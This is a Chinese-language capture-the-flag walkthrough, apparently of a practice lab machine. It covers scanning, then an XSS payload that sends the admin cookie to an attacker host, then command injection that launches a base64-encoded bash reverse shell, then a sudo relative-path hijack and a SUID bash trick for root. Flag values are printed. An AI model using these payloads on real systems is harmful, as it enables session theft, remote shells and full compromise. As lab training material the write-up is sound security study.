Tools
https://github.com/MartinxMax/MDOG
针对XXS攻击
Main
$ nmap -sC -sV 10.10.11.8 --min-rate 1000
类似于留言板
通过目录扫描,发现一个仪表盘
$ gobuster dir -u "http://10.10.11.8:5000" -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
回到留言板
说IP已经被记录,那么我们尝试在数据包中的User-Agent字段注入js语句
管理员不过一会就中xss了
运行,复制payload,burp重放
<img src=1 onerror=window.open("http://10.10.14.25:9999/?id="+document.cookie)>
修改cookie
http://10.10.11.8:5000/dashboard
存在RCE
$ echo "bash -i >& /dev/tcp/10.10.14.25/10032 0>&1"|base64
date=;echo%20YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yNS8xMDAzMiAwPiYxCg==|base64%20-d>/tmp/shell.sh;chmod%20777%20/tmp/shell.sh;ls%20-al%20/tmp/shell.sh;echo%20'---------------';cat%20/tmp/shell.sh
这里面的+号需要进行url编码
date=;/bin/bash%20/tmp/shell.sh
User Flag
cat /home/dvir/user.txt
e2576236e9f7ebc8b857de1f2c10fe63
Root Flag
$ sudo -l
$ strings /usr/bin/syscheck
这个initdb.sh文件在本服务器是没有的,可以利用它
有趣的是./是一个相对路径
在app目录下执行/usr/bin/syscheck后,里的./initdb.sh指向的是app目录下的initdb.sh,而不是指向/usr/bin/下的initdb.sh
知识点:
查看当前用户在当前主机上的 sudo 权限,所列出的文件必须加sudo运行才是高权限
(~app)$ echo '/bin/bash'>initdb.sh;chomod +x initdb.sh;sudo /usr/bin/syscheck
成功提权
927acc092719872f616c53b4a0e910a9
Another
海外的大牛wp是
(~app)$ echo "chmod u+s /bin/bash" >initdb.sh;chmod +x initdb.sh;sudo /usr/bin/syscheck;/bin/bash -p
在普通用户下是无法给/bin/bash加SUID的
这里大牛的思路是利用sudo /usr/bin/syscheck执行的高权限执行initdb.sh,然后给/bin/bash添加一个SUID,这将意味着任意用户使用-p参数 privileged mode(特权模式)调用/bin/bash时候都将以root权限身份运行
我们再次返回到RCE点,发现的确如此
date=;/bin/bash%20-c%20-p%20"whoami"